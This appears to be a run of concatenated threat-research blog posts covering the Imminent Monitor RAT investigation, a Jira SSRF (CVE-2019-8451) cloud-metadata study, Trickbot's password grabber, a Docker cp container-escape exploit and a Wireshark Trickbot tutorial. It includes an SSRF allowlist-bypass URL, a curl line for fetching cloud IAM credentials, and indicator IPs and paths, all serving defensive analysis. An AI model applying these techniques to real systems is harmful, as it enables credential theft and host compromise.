The File Integration feature will delete the Imminent Monitor Client from it’s execution directory and move it into it’s “Client Startup” directory.

Set File Properties to “Hidden”
Does what it says, marks the Client as hidden.

Disable Taskmanager
Disables Windows Task Manager/

Process Security Flag & Critical Process Flag
Both of these functions are currently deprecated as the “Process Watcher” feature replaces them/

Process Watcher
The Process Watcher feature spawns a separate daemon to watch the main Imminent Monitor Client in case the client ever crashes or gets closed.”

More recent versions offer what the author terms “HRDP” – Hidden Remote Desktop Protocol – offering a non-interactive remote desktop connection, hidden from the victim.

Figure 6. Features

Version 3 of Imminent Monitor introduced the ability to run a cryptocurrency miner on the victim machine – hardly the feature of a legitimate remote access tool (Figure 7).

Figure 7. Imminent Monitor Client Cryptocurrency Miner

But, in the end, it will be the courts who will determine legitimacy and intent of the malware author, and also their customers.

Imminent Monitor was originally licensed to each customer for a $25 fee. Six years later, the price has remained static, though new multi-license options are also offered (Figure 8).

Figure 8. Purchase

Who is Shockwave?

In order to identify actors behind such operations as Imminent Monitor, it’s important to be thorough with analysis and intelligence collection. The actor will typically attempt to hide or obfuscate their identity. The research will not only aim to directly identify a specific individual but also help to build a corroborative identity picture, increasing confidence in any analysis.

Infrastructure research did not lead us to any identifying information, though we do notice a definite preference for Australian hosting early on.

Forum profiles for Shockwave™ and Imminentmethods included a common profile photo, a panda-headed business-suited avatar (Figure 9).

Figure 9. Shockwave™/ ImminentMethods' avatar

The Twitter account “imminentmethods” includes a location of “Queensland, Australia”. A Google+ account for imminentmethods[at]gmail.com had the same Panda avatar, and the name (redacted here for publication) “J████”.

A deviantart.com profile for user “ViridianX” had the same panda avatar, a link to imminentmethods[.]info, location Australia, and the same name “J████” again. This handle was corroborated in a forum post:

“Also, I have noticed I have been getting imitated on various websites lately my only Accounts are:
shockwave.hf
http://www.twitch.tv/imminentmethods [twitch]
ViridianX [Justin.tv]”

A Paypal purchase from imminentmethods[.]net gave a merchant name “DictumFox”(Figure 10).

Figure 10. Paypal

This appears to be a unique handle. The site, dictumfox[.]com, previously had the site title “Imminent Methods”(Figure 11).

 

Figure 11. DictumFox-Imminent Methods

The imminentmethods[.]net “Contact us” page has an Australian phone number and time zone, and a New South Wales, Australia address which comes back to a small-business services address.

A search of the Australian business registry finds a “DictumFox”, with a registered agent at the same address of convenience, with a different, female first name J██████ K███. She was also previously linked to another Australian business, “Imminent Methods”. That business record has a current agent with the same first name as seen in the profiles - J████ - and the same surname as the female associated with the other business registration: K███.

Further research with name and location corroboration seems to possibly explain the relationship with Shockwave™-J████, and the “J██████” of the corporate registration, beyond the same surname K███ (Figure 12).

Figure 12. J█████ and J████

Prosecution

Unit 42 referred the identity and activity of Shockwave™ to the Australian Federal Police (AFP) Cybercrime Operations teams. We have subsequently continued to assist the AFP’s “Operation Cepheus” (Figure 13), together with the United States Federal Bureau of Investigation (FBI), and Canadian Radio-television and Telecommunications Commission, Electronic Commerce Enforcement / Conseil de la radiodiffusion et des télécommunications canadiennes, Mise en application du commerce électronique (CRTC ECE). The Australian-led investigation, targeting not only those responsible for the development and management of this malware, but also their customers using the malware illicitly, has yielded evidence suggesting in excess of 14,500 customers of this RAT. We most often observe RATs employed illicitly by financially-motivated actors, or for data theft. Interestingly, the AFP’s investigation noted a significant number of Australian users of the software were also respondents to Domestic Violence Orders. It’s unlikely a coincidence that such a tool might be employed against Intimate Partner Violence victims. AFP’s operation also disabled the licensing system of Imminent Monitor, removing users’ access to victims of the software. Unit 42’s research into the infrastructure and customers of Imminent Monitor and other RATs continues to assist law enforcement internationally in prosecuting the individuals behind such illicit activity, demonstrating the effectiveness and potential of international public/private cooperation in combating cybercrime.

Figure 12. AFP execute an Operation Cepheus search warrant (source: AFP)

Conclusion

We’ve collected more than 65,000 samples of Imminent Monitor, and seen more than 115,000 attacks against Palo Alto Networks’ customers alone. Not only did the availability of this commodity malware enable each of those attacks, the author profited from the sale of it, since 2013.

This Remote Access Tool, promoted first-party on hacking forums, includes features that have no purpose in a legitimate tool but rather are designed to hide attacks using it.

With the successful execution of the AFP’s operation, licensed Imminent Monitor builders will no longer be able to produce new client malware nor can the controllers access their victims. Although cracked versions already exist and will continue to circulate, they can’t benefit from bug fixes, feature enhancements, support, or efforts to improve their undetectability. Ironically, these versions often carry malicious payloads, acting as infection vectors to the criminals who would use them, themselves.

Organizations with decent spam filtering, proper system administration, and up-to-date Windows hosts have a much lower risk of infection. Palo Alto Networks customers are further protected from this threat. Our threat prevention platform detects Imminent Monitor malware with Wildfire and Traps. AutoFocus users can track this activity using the ImminentMonitor tag.

 

 

Server-Side Request Forgery Exposes Data of Technology, Industrial and Media Organizations

Posted on by Jay Chen

Executive Summary

Server-Side Request Forgery (SSRF) is a web application vulnerability that redirects the attacker's requests to the internal network or localhost behind the firewall. SSRF poses a particular threat to cloud services due to the use of the metadata API that allows applications to access the underlying cloud infrastructure's information such as configurations, logs, and credentials. Although the metadata API can only be accessed locally, the SSRF vulnerability makes it accessible from the internet. This type of vulnerability also bypasses the container sandbox protection. SSRF opens the door for internal network reconnaissance, lateral movement, and even remote code execution.

An application in a container, by default, can directly access the metadata API on its host, enabling a special way of container escape. To understand the severity of the problem, Unit 42 researchers took a closer look at the Jira SSRF vulnerability (CVE-2019-8451) and studied its impact on six public cloud service providers (CSPs). This is the same type of vulnerability that led to the Capital One data breach in July 2019.

Our vulnerability scanner found:

  • More than 7,000 Jira instances exposed to the internet in public clouds
  • 45% of the 7,000+ Jira instances (3,152) are vulnerable to this CVE (not patched or updated)
  • 56% of the 3,152 vulnerable hosts (1,779) leak cloud infrastructure metadata

NVD shows that this CVE was first introduced in v7.6, but we discovered that this CVE actually affects versions back to v4.3 (March 2011) as opposed to v7.6 (Nov. 2017). The leaked metadata ranges from internal network configuration to source code and credentials. Impacted organizations include, but are not limited to, technology, industrial, and media companies.

Server Side Request Forgery

Server-Side Request Forgery (SSRF) is a web application vulnerability that redirects malicious requests to resources that are restricted to the server. Attackers circumvent the firewall by tricking the vulnerable application to forward the malicious request to arbitrary domains, including the internal network and localhost. The most common type of SSRF request is HTTP(s), but other valid uniform resource identifier (URI) schemes such as host file system (file:////), dictionary service (dict://), and redis service (redis://) are all possible. Attackers can access any target that has a trust relationship with the vulnerable server as long as the application supports the URI scheme. They can reach the target and it does not require additional authentication.

The root cause of SSRF is that a web application needs to retrieve resources from another domain to fulfill the request, but the input URL is not properly sanitized and allows attackers to manipulate the destination. In CVE-2019-8451, the vulnerable API /plugins/servlet/gadgets/make request?url=endpoint fetches data from the service provider endpoint to populate the gadget. The server does validate the query string and only the allowlisted endpoints are permitted. However, due to a logical error in the JiraWhiteList class, an at (@) symbol in the parameter string can bypass the allowlist validation. A request sent to http://vulnerablehost.com/plugins/servlet/gadgets/makeRequest?url=http://vulnerablehost.com@http://targethost.com will be redirected to targethost.com. This logical error thus allows attackers to send http requests to any target that is reachable from the vulnerable server.

Metadata API in Public Cloud

Almost all CSPs offer a metadata API that allows processes in a VM instance to learn the information specific to that VM. Metadata service gives applications an easy way to know the environments they are running in and adjust the configurations accordingly. The metadata API provides information such as instance ID, image ID, private/public IP, and network configuration. VM startup and shutdown scripts sometimes are also placed in the metadata service so that multiple VM instances based on the same image can be created with different settings. Some CSPs also allow applications to write dynamic data to the metadata API and use it as temporary data storage.

The metadata API can only be accessed from within the VM instance and is never exposed outside the host. While any private IP may be assigned to this API, most CSPs use the non-routable (Link-Local) IP address 169.254.169[.]254. For example, a process can issue a curl command inside an AWS EC2 instance to retrieve the security credential associated with the role, shown in Figure 1:
curl
http://169.254.169[.]254/latest/meta-data/iam/security-credentia
ls/role-name

Any user or process, by default, has full access to the metadata API. One interesting observation is that even applications in containers (e.g., Docker, Kubernetes, ECS, EKS) can access the host metadata API. This ease of accessing host metadata from a container is both convenient and dangerous. On the one hand, an application in a container can query the host metadata API and use the attached credentials to access other cloud services such as S3 and RDS. On the other hand, the host metadata API creates a container “escape path” that allows containerized applications to directly access the sensitive host metadata. If a container is compromised, attackers can exploit this path to compromise the host or other services in the cloud. The potential risk is higher than the benefit as there are other ways that a host can share data with containers without exposing the metadata.

Figure 1. Retrieving credentials from metadata API

Although the metadata service is never exposed to the internet, it may be indirectly exposed by a vulnerable internet-facing application. An SSRF vulnerability essentially exposes the metadata service to the entire internet. Attackers may use the leaked metadata to further compromise other hosts in the VPC or even take over the whole cloud infrastructure. Some of the sensitive metadata and their impacts are:

  • IAM credential: It can be used to access other cloud services such as the S3 bucket or container registry. If an admin identity is attached to the instance or the identity is provisioned with excessive privileges, attackers can compromise the entire cloud infrastructure.
  • User Data: User-specified data can be stored in metadata. VM startup and shutdown scripts are also usually placed in user data. It can reveal the application configurations, VM configuration, and other cloud resources that the VM may access. It is also common to find credentials hard-coded in the script.
  • VM image ID: If the image is public, malicious actors can examine the VM and design a penetration strategy.
  • Network configuration: It can reveal network information such as VM’s private/public IP, MAC, local hostname, subnet, and VPC.

To prevent metadata API from being misused, some CSPs require special headers in the metadata Http requests. For example, Azure VM checks for “Metadata: True” header and Google Compute Engine checks for “Metadata-Flavor: Google” header. An Http request without the required header will be rejected. The header enforcement effectively stops SSRF from accessing the metadata API because attackers can not control the headers in the redirected requests. Table 1 compares the metadata APIs of the six CSPs we studied.

Table 1. Metadata API service from different CSPs.
*GCP started enforcing header requirement in metadata API V1.

CVE-2019-8451 in Public Cloud

To understand the real impact of SSRF on public cloud, we need to find an application that has known SSRF vulnerability and is widely deployed in public cloud. Jira caught our attention because it has an SSRF vulnerability CVE-2019-8451 discovered in August 2019 and the vulnerability can be exploited without authentication. Although the patch was immediately released, software like Jira that ties closely to business operations rarely gets updated immediately. System administrators would rather delay the patch than interrupt the business operation. A Shodan search shows that around 25,000 Jira instances are currently exposed to the internet. We then selected six CSPs that have the highest number of Jira deployment to conduct our research. The goal of the research is to identify the number of Jira instances vulnerable to CVE-2019-8451 in public cloud, the exploitability of these Jira instances, and the number of hosts that leak metadata. We found 7,002 Jira instances in the six public CSPs. Figure 2 shows the distribution of the Jira version.

Figure 2. The Jira versions exposed in public cloud

Considering that the CVE-2019-8451 was first patched in v8.4, 80% of the Jira instances in Figure 2 have versions below v8.4 and they may all be vulnerable if not patched. Our scanned result shows that, of the 7,002 Jira instances, 3,152 (45%) instances have not been patched and confirmed to be vulnerable. Figure 3 shows the top 10 Jira versions that have not been patched. Within the 3,152 vulnerable Jira instances, 1,779 (56%) of them leak host metadata. Table 2 summarizes the statistics across all CSPs. DigitalOcean customers have the highest rate (93%) of metadata leak, followed by Google Cloud customers (80%), Alibaba customers (71%), AWS customers (68%), and Hetzner customers (21%). The only CSP that has zero metadata leak is Microsoft Azure because its strict header requirement in metadata API effectively blocks all SSRF requests. Although GCP also enforces header requirements in the latest metadata API (v1), attackers can still access most of the metadata using the legacy APIs if the legacy API endpoints (v0.1 and v1beta1) are not explicitly disabled.

Figure 3. The top 10 Jira versions vulnerable to CVE-2019-8451

Table 2. Number of vulnerable hosts and metadata leak in public cloud

One unexpected finding from Figure 3 is that 2 of the top 10 versions, v7.3.6 and v6.3.6, are outside the vulnerable versions that Jira published. According to the Jira issue and NVD, CVE-2019-8451 was first introduced in v7.6 and fixed in v8.4. However, our scanned result shows that many versions outside this range are also vulnerable. To find out the real impact of the vulnerability, we checked the vulnerable class JiraWhiteList that causes the SSRF. This simple Java class with only one method has been in Jira since v4.3. A further investigation in the legacy Jira software confirms that this vulnerability indeed affects versions back to v4.3, which was released more than eight years ago in March 2011.

Remediation and Best Practices

The SSRF vulnerability’s roots lie in the lack of proper input sanitization. To fundamentally fix the issue, developers should strictly validate the format and pattern of the user input before passing it to the application logic. For system administrators who only install and manage web applications, some suggested preventive protections to remediate the impact of SSRF include:

    • Allow-listing domains: Most of the applications only need to initiate communications with a handful of domains such as database or API gateways. Enforcing an allowlist of domains that an application is allowed to communicate with can significantly reduce the services that attackers can target.
    • Zero-trust network: An application should never trust another application just because they are in the same internal network. SSRF will fail if the targeted services require authentication. Authentication and authorization should be implemented on every application.
    • Web Application Firewall (WAF): WAF can detect abnormal patterns or malicious content in Http requests. However, WAF depends on the rules created for known vulnerabilities or attacks with obvious patterns, e.g., SQL injection or XSS. A zero-day vulnerability may still bypass the WAF.
    • Patch and update: Patching and updating applications frequently are the easiest and most effective ways to prevent any vulnerability. It is, however, limited to the support from the vendors. An end-of-life application may never receive an update.

Metadata API can be most effectively protected by CSPs, as shown in Table 2. However, if such protection not available, cloud users should take preventive actions to reduce the risk of metadata leak.

  • Enable CSP metadata API protection: Some CSPs provide configurable options to secure metadata API. GCP users can disable the legacy metadata API versions and enforces the Http header requirement. DigitalOcean users can disable the metadata API service at the cloud-config script.
  • Block metadata IP: Firewall rules can be created inside VMs to block the IP of the metadata API completely. A more granular firewall rule can also be created to allow only specific applications or users to access the metadata API.
  • Metadata proxy: Open-source tools such as metadataproxy and aws-metadata-proxy create a layer above the native metadata API and offer granular control to applications that need to access the metadata.
  • Least privilege IAM: IAM role is attached to a VM to allow applications on the VM to access other cloud services. It is critical to restrict the IAM privileges to only the services that the applications need. The least-privilege practice minimizes the impact in case a credential is compromised.

Conclusion

SSRF by itself may not be a severe vulnerability, but when coupled with the metadata API and misconfiguration in cloud infrastructure, SSRF opens the door to many other attack vectors. Sensitive metadata such as credentials and network architecture may be leaked, and internal services such as database and storage could be exposed. In the worst case, the entire cloud infrastructure could be compromised. This research used only the Jira vulnerability CVE-2019-8451 as an example to show the impact of SSRF to cloud infrastructure, but there are hundreds of other applications with known SSRF vulnerabilities that can all be exploited in the cloud.We have seen CSPs starting to secure the metadata API, but it may take a while until they are fully implemented. We recommend several best practices to system administrators or cloud users can follow to remediate the risk. Palo Alto Network customers are protected by VM-series and Prisma Cloud. VM-series protect cloud workloads with application traffic analysis and Prisma Cloud provides full-stack monitoring in public/private cloud environments.

 

Trickbot Updates Password Grabber Module

Posted on by Brad Duncan

First seen in 2016, Trickbot is malware that steals system information, login credentials, and other sensitive data from vulnerable Windows hosts. Trickbot is a modular malware, and one of its modules is a password grabber. In November 2019, we started seeing indicators of Trickbot's password grabber targeting data from OpenSSH and OpenVPN applications.

Trickbot Modules

A Windows host infected with Trickbot downloads different modules to perform various functions. These modules are stored as encrypted binaries in a folder located under the infected user’s AppData\Roaming directory. The encrypted binaries are decoded as DLL files and run from system memory. Figure 1 shows encoded Trickbot modules generated by a recent Trickbot infection on a 64-bit Windows 7 host from Friday November 8th, 2019.

Figure 1. Modules from a Trickbot infection on November 8th, 2019.

Password Grabber Module

As seen in Figure 1, one of the modules is named pwgrab64. This is a password grabber used by Trickbot. This module retrieves login credentials stored in a victim's browser cache, and it also obtains login credentials from other applications installed on a victim’s host. The password grabber and some other Trickbot modules send stolen data using unencrypted HTTP over TCP port 8082 to an IP address used by Trickbot. For example, Figure 2 shows information from a packet capture (pcap) of traffic generated by a host infected with Trickbot. It highlights an example of login credentials stolen from an infected user’s Chrome browser cache. Note how the URL in the HTTP POST request ends with the number 81. This number is used in URLs generated by Trickbot's password grabber module.

Figure 2. Login credentials stolen from an infected user’s Chrome browser cache.

Updates to Password Grabber

Traffic patterns from recent Trickbot infections had been fairly consistent until early November 2019, when we started seeing two new HTTP POST requests caused by the password grabber. They are identified as:

  • OpenSSH private keys
  • OpenVPN passwords and configsls

For the OpenVPN line, configsls might be a misspelling of configs. Figure 3 and Figure 4 show examples of HTTP POST requests that contain these identifiers.

Figure 3. HTTP POST request caused by Trickbot's password grabber for OpenSSH private keys.

Figure 4. HTTP POST request caused by Trickbot's password grabber for OpenVPN passwords and configurations.

Are These Updates Broken?

These updates to Trickbot's password grabber module may not be fully functional. HTTP POST requests caused by the password grabber for OpenSSH and OpenVPN occur whether or not the victim's host has OpenSSH or OpenVPN installed. And we have not seen this traffic contain any actual data.

We generated Trickbot infections in lab environments for both Windows 7 and Windows 10 hosts with configured OpenSSH and OpenVPN applications. However, we have not seen any working results. HTTP POST requests generated by the password grabber for OpenSSH and OpenVPN during these infections contained no data.

However, Trickbot’s password grabber works will grab SSH passwords and private keys from an SSH/Telnet client named PuTTY. Figure 5 and Figure 6 shows password grabber activity from a Trickbot-infected host with PuTTY installed and configured to use a private key for an SSH connection to a cloud server.

Figure 5. HTTP POST request caused by Trickbot's password grabber for PuTTY passwords.

Figure 6. HTTP POST request caused by Trickbot's password grabber for private keys used by PuTTY.

Conclusion

This blog post documents recent changes in Trickbot traffic patterns that indicate updates to its password grabber module. These updates appear to target data from OpenSSH and OpenVPN applications, but this functionality does not appear to work. Regardless, Trickbot's password grabber will grab sensitive data like private keys from SSH-related applications like PuTTY.

These updated traffic patterns demonstrate Trickbot continues to evolve. However, best security practices like running fully-patched and up-to-date versions of Microsoft Windows will hinder or stop Trickbot infections. Palo Alto Networks customers are further protected from Trickbot by our threat prevention platform. AutoFocus users can track Trickbot activity by using the Trickbot tag.

Docker Patched the Most Severe Copy Vulnerability to Date With CVE-2019-14271

Posted on by Mark Karayan

Executive Summary

In the last few years, several vulnerabilities in the copy (cp) command were found in various container platforms, including Docker, Podman and Kubernetes. The most severe among those was only recently discovered and disclosed in July. Surprisingly, it gained almost no immediate attention, perhaps due to an ambiguous CVE description and a lack of a published exploit.

CVE-2019-14271 marks a security issue in the implementation of the Docker cp command that can lead to full container escape when exploited by an attacker. This is the first complete container breakout since the severe runC vulnerability discovered back in February.

The vulnerability can be exploited, provided that a container has been compromised by a previous attack (e.g. through any other vulnerability, leaked secrets, etc.), or when a user runs a malicious container image from an untrusted source (registry or other). If the user then executes the vulnerable cp command to copy files out of the compromised container, the attacker can escape and take full root control of the host and all other containers in it.

CVE-2019-14271 was marked as critical and fixed in Docker version 19.03.1. The following research is an overview of CVE-2019-14271 and the first Proof of Concept (PoC) of the vulnerability.

Ariel Zelivansky and I have been closely following the recent surge of copy vulnerabilities in major container platforms, and we’ll present our findings at KubeCon + CloudNativeCon 2019 in San Diego on November 20. We’ll dive into past vulnerabilities, the different implementations and some of the underlying reasons that make this relatively simple command surprisingly hard to implement. We’ll also discuss some cool new kernel features specifically written to tackle this problem. If you’re interested in container security, please come and check it out!

Docker cp

The copy command allows copying files from and to containers, as well as between containers. The syntax is quite similar to the standard Unix cp command. To copy out /var/logs from a container, the syntax is docker cp container_name:/var/logs /some/host/path.

As you can see in the image below, to copy files out of the container, Docker uses a helper process called docker-tar.

Figure 1. Copying files out of a container

docker-tar works by chrooting into the container (as you can see in the next image), archiving the requested files and directories in it and then passing back the resulting tar file to the Docker daemon which is responsible for extracting it to the target directory on the host.

Figure 2. docker-tar chroots into the container

Chrooting is mostly done to avoid symlinks issues, which can occur when a host process tries to access files on a container. If one of those files is a symlink, it might inadvertently be resolved under the host root. This opens the door for attacker-controlled containers to try and trick docker cp into reading and writing files on the host instead of the container. Several CVEs in Docker and Podman were assigned for symlink related issues in the last year. By chrooting into the container’s root, docker-tar ensures all symlinks will be effectively resolved under it.

Unfortunately, chrooting into the container opened the way for an even more severe issue when copying files from a container.

CVE-2019-14271

Docker is written in Golang. Specifically, the vulnerable Docker version was compiled with Go v1.11. In this version, some packages that contained embedded C code (cgo) would dynamically load shared libraries at runtime. These packages include net and os/user, both used by docker-tar, which load several libnss_*.so libraries at runtime. Normally, libraries would be loaded from the host file system, but since docker-tar chroots to the container, it loads the libraries from the container file system. That means docker-tar will load and execute code originating and controlled by the container.

To clarify, aside from being chrooted to the container filesystem, docker-tar isn’t containerized. It runs in the host namespaces, with all root capabilities and not limited by cgroups or seccomp. Therefore, by injecting code into docker-tar, a malicious container gains full root access to the host.

The possible attack scenario is a Docker user that copies some files from either:

  • A container running a malicious image with bad libnss_*.so libraries.
  • A compromised container where an attacker replaced the libnss_*.so libraries.

In both cases, the attacker gains root code execution on the host.

Fun fact: This vulnerability was actually discovered from a GitHub issue. A user tried to copy files out of a debian:buster-slim container and complained docker cp repeatedly failed. The problem was that this specific image doesn’t contain the libnss libraries. Thus, when the user ran docker cp and the docker-tar process tried to load them from the container filesystem, it failed and crashed.

Exploitation

To exploit CVE-2019-14271, we need to build a malicious libnss library. I arbitrarily chose libnss_files.so. I downloaded the library’s source and added one function, run_at_link(), to one of the source files. I also defined the function with the constructor attribute. The constructor attribute (a GCC-specific syntax) indicates that the run_at_link function is to be executed as an initialization function for our library when it is loaded by a process. This means that when the docker-tar process will dynamically load our malicious library, run_at_link will be executed. Below is the run_at_link code, shortened for brevity.

run_at_link first verifies it runs in the context of docker-tar, since other, normal container processes might also load it. This is done by checking the /proc directory. If run_at_link runs in the context of docker-tar, this directory will be empty, since the procfs mount on /proc only exists in the container mount namespace.

Next, run_at_link replaces the evil libnss library with the original one. This ensures that any subsequent processes run by the exploit won’t accidentally load the malicious version and retrigger the execution of run_at_link.

Then, to simplify the exploit, run_at_link attempts to run an executable file at path /breakout in the container. This allows the rest of the exploit to be written in bash for example, instead of C. Leaving the rest of the logic out of run_at_link also means we don’t have to recompile the evil library for every change in the exploit, but rather just change the breakout binary.

In the exploit video below, a Docker user runs a malicious image that contains our evil libnss_files.so library and then tries to copy some logs from the container. The /breakout binary in the image is a simple bash script that mounts the host filesystem to the container at /host_fs and also writes a message to /evil on the host.

Video 1. Exploiting CVE-2019-14271 to break out of Docker

Below is the source for the /breakout script used in the video. To get a reference to the host root filesystem, the script mounts procfs over /proc. Since docker-tar runs in the PID namespace of the host, the mounted procfs will contain data on host processes. The script then simply mounts the root of the host’s PID 1.

The Fix

The fix included patching the init function of docker-tar to call arbitrary functions from the problematic Go packages. This forced docker-tar to load the libnss libraries before chrooting to the container, and thus from the host filesystem.

Figure 3. CVE-2019-14271 fix

Conclusion

A vulnerability allowing root code execution on the host is highly dangerous. Make sure you’re running Docker version 19.03.1 or newer versions, which include the fix to this security issue. To restrict the attack surface for this kind of attacks, I strongly suggest to never run untrusted images.

Furthermore, when root is not strictly needed, I highly recommend running containers as a non-root user. This further increases their security and prevents attackers from exploiting many of the flaws that may be found in container engines or the kernel. In the case of CVE-2019-14271, if your container is run with a non-root user, you are protected. Even if an attacker compromised your container, he cannot overwrite the container’s libnss libraries as they are owned by root, and therefore cannot exploit the vulnerability. If you’re still not convinced, this post by Ariel Zelivansky covers the security advantages of running non-root containers and might change your mind.

Palo Alto Networks customers running Prisma Cloud are further protected from this threat through the following set of capabilities:

  • Trusted Images ensure that developers are using verified or approved sources for their images.
  • Host Vulnerability Scanning alerts on containers with vulnerable packages running in your environment, highlighting the most severe, likely to be exploited CVEs. This ensures your containers aren’t running vulnerable code and prevents “one-day” attacks.
  • Prisma Cloud Runtime Security identifies and denies malicious actors from accessing and compromising your containers.

 

Wireshark Tutorial: Examining Trickbot Infections

Posted on by Brad Duncan

Executive Summary

When a host is infected or otherwise compromised, security professionals with access to packet captures (pcaps) of the network traffic need to understand the activity and identify the type of infection.

This tutorial offers tips on how to identify Trickbot, an information stealer and banking malware that has been infecting victims since 2016. Trickbot is distributed through malicious spam (malspam), and it is also distributed by other malware such as Emotet, IcedID, or Ursnif.

Trickbot has distinct traffic patterns. This tutorial reviews pcaps of Trickbot infections caused by two different methods: a Trickbot infection from malspam and Trickbot when it is distributed through other malware.

Note: Today’s tutorial requires Wireshark with a column display customized according to this previous tutorial. You should already have implemented Wireshark display filters as described here.

Trickbot from malspam

Trickbot is often distributed through malspam. Emails from these campaigns contain links to download malicious files disguised as invoices or documents. These files may be Windows executable files for Trickbot, or they may be some sort of downloader for the Trickbot executable. In some cases, links from these emails return a zip archive that contains a Trickbot executable or downloader.

Figure 1 shows an example from September 2019. In this example, the email contained a link that returned a zip archive. The zip archive contained a Windows shortcut file that downloaded a Trickbot executable. A pcap for the associated Trickbot infection is available here.


Figure 1: Flowchart from a Trickbot infection from malspam in September 2019.

Download the pcap from this page. The pcap is contained in a password-protected zip archive named 2019-09-25-Trickbot-gtag-ono19-infection-traffic.pcap.zip. Extract the pcap from the zip archive using the password infected and open it in Wireshark. Use your basic filter to review the web-based infection traffic as shown in Figure 2.

Figure 2: Pcap of the Trickbot infection viewed in Wireshark.

Review the traffic, and you will find the following activity common in recent Trickbot infections:

  • An IP address check by the infected Windows host
  • HTTPS/SSL/TLS traffic over TCP ports 447 and 449
  • HTTP traffic over TCP port 8082
  • HTTP requests ending in .png that return Windows executable files

Unique to this Trickbot infection is an HTTP request to www.dchristjan[.]com that returned a zip archive and an HTTP request to 144.91.69[.]195 that returned a Windows executable file. Follow the HTTP stream for the request to www.dchristjan[.]com as shown in Figure 3 to review the traffic. In the HTTP stream, you will find indicators that a zip archive was returned as shown in Figure 4.

Figure 3: Following the HTTP stream for the request to www.dchristjan[.]com.

Figure 4: Indicators the HTTP request returned a zip archive.

In Figure 4, you can also see the name of the file contained in the zip archive, InvoiceAndStatement.lnk. You can export the zip archive from the traffic using Wireshark as shown in Figure 5 and Figure 6 using the following path:

     File → Export Objects → HTTP…

Figure 5: Exporting HTTP objects from the pcap.


Figure 6: Exporting the zip archive from the pcap.

In a BSD, Linux, or Mac environment, you can easily confirm the extracted file is a zip archive, get the SHA256 hash of the file, and extract the contents of the archive in a command line environment. In this case, the content is a Windows shortcut file, which you can also confirm and get the SHA256 hash as shown in Figure 7.

The command to identify the file type is file [filename], while the command to find the SHA256 hash of the file is shasum -a 256 [filename].

Figure 7: Checking the extracted zip archive and its contents.

An HTTP request to 144.91.69[.]195 returned a Windows executable file. This is the initial Windows executable for Trickbot. You can follow the HTTP stream for this HTTP request and find indicators this is an executable file as shown in Figure 8 and Figure 9. You can extract the executable file from the pcap as shown in Figure 10.

Figure 8: Following the HTTP stream for the HTTP request to 144.91.69[.]195.

Figure 9: Indicators the returned file is a Windows executable or DLL file.

Figure 10: Exporting the Windows executable from the pcap.

Post infection traffic initially consists of HTTPS/SSL/TLS traffic over TCP port 443, 447, or 449 and an IP address check by the infected Windows host. In this infection, shortly after the HTTP request for the Trickbot executable, we can see several attempted TCP connections over port 443 to different IP addresses before the successful TCP connection to 187.58.56[.]26 over TCP port 449. If you use your basic+ filter, you can see these attempted connections as shown in Figure 11 and Figure 12.

Figure 11: Attempted TCP connections over port 443 by the infected Windows host.

Figure 12: Scrolling down to see more TCP connections over port 443 before a successful connection to 187.58.56[.]26 over TCP port 449.

The HTTPS/SSL/TLS traffic to various IP addresses over TCP port 447 and TCP port 449 has unusual certificate data. We can review the certificate issuer by filtering on ssl.handshake.type == 11 when using Wireshark 2.x or tls.handshake.type == 11 when using Wireshark 3.x. Then go to the frame details section and expand the information, finding your way to the certificate issuer data as seen in Figure 13 and Figure 14.

Figure 13: Filtering for the certificate data in the HTTPS/SSL/TLS traffic, then expanding lines the frame details for the first result under TCP port 449.

Figure 14: Drilling down to the certificate issuer data on the first result over TCP port 449.

In Figure 14, we see the following certificate issuer data used in HTTPS/SSL/TLS traffic to 187.58.56[.]26 over TCP port 449:

  • id-at-countryName=AU
  • id-at-stateOrProvinceName=Some-State
  • id-at-organizationName=Internet Widgits Pty Ltd

The state or province name (Some-State) and the organization name (Internet Widgits Pty Ltd) are not used for legitimate HTTPS/SSL/TLS traffic. This is an indicator of malicious traffic, and this type of unusual certificate issuer data is not limited to Trickbot. What does a normal certificate issuer look like in legitimate HTTPS/SSL/TLS traffic? If we look at earlier traffic to Microsoft domains at 72.21.81.200 over TCP port 443, we find the following as seen in Figure 15.

  • id-at-countryName=US
  • id-at-stateOrProvinceName=Washington
  • id-at-localityName=Redmond
  • id-at-organizationName=Microsoft Corporation
  • id-at-organizationUnitName=Microsoft IT
  • id-at-commonName=Microsoft IT TLS CA 2

Figure 15: Certificate data from legitimate HTTPS traffic to a Microsoft domain.

The Trickbot-infected Windows host will check its IP address using a number of different IP address checking sites. These sites are not malicious, and the traffic is not inherently malicious. However, this type of IP address check is common with Trickbot and other families of malware. Various legitimate IP address checking services used by Trickbot include:

  • api.ip[.]sb
  • checkip.amazonaws[.]com
  • icanhazip[.]com
  • ident[.]me
  • ip.anysrc[.]net
  • ipecho[.]net
  • ipinfo[.]io
  • myexternalip[.]com
  • wtfismyip[.]com

Again, an IP address check by itself is not malicious. However, this type of activity combined with other network traffic can provide indicators of an infection, like we see in this case.

Figure 16: IP address check by the infected Windows host, right after HTTPS/SSL/TLS traffic over TCP port 449. Not inherently malicious, but this is part of a Trickbot infection.

A Trickbot infection currently generates HTTP traffic over TCP port 8082 this traffic sends information from the infected host like system information and passwords from the browser cache and email clients. This information is sent from the infected host to command and control servers used by Trickbot.

To review this traffic, use the following Wireshark filter:

http.request and tcp.port eq 8082

This reveals the following HTTP requests as seen in Figure 17:

  • 170.238.117[.]187 port 8082 - 170.238.117[.]187 - POST
    /ono19/BACHMANN-BTO-PC_W617601.AC3B679F4A22738281E6D7B0C5946
    E42/81/
  • 170.238.117[.]187 port 8082 - 170.238.117[.]187 - POST
    /ono19/BACHMANN-BTO-PC_W617601.AC3B679F4A22738281E6D7B0C5946
    E42/83/
  • 170.238.117[.]187 port 8082 - 170.238.117[.]187 - POST
    /ono19/BACHMANN-BTO-PC_W617601.AC3B679F4A22738281E6D7B0C5946
    E42/81/
  • 170.238.117[.]187 port 8082 - 170.238.117[.]187:8082 - POST
    /ono19/BACHMANN-BTO-PC_W617601.AC3B679F4A22738281E6D7B0C5946
    E42/81/
  • 170.238.117[.]187 port 8082 - 170.238.117[.]187:8082 - POST
    /ono19/BACHMANN-BTO-PC_W617601.AC3B679F4A22738281E6D7B0C5946
    E42/90
  • 170.238.117[.]187 port 8082 - 170.238.117[.]187:8082 - POST
    /ono19/BACHMANN-BTO-PC_W617601.AC3B679F4A22738281E6D7B0C5946
    E42/90

Figure 17: HTTP traffic over TCP port 8082 caused by Trickbot.

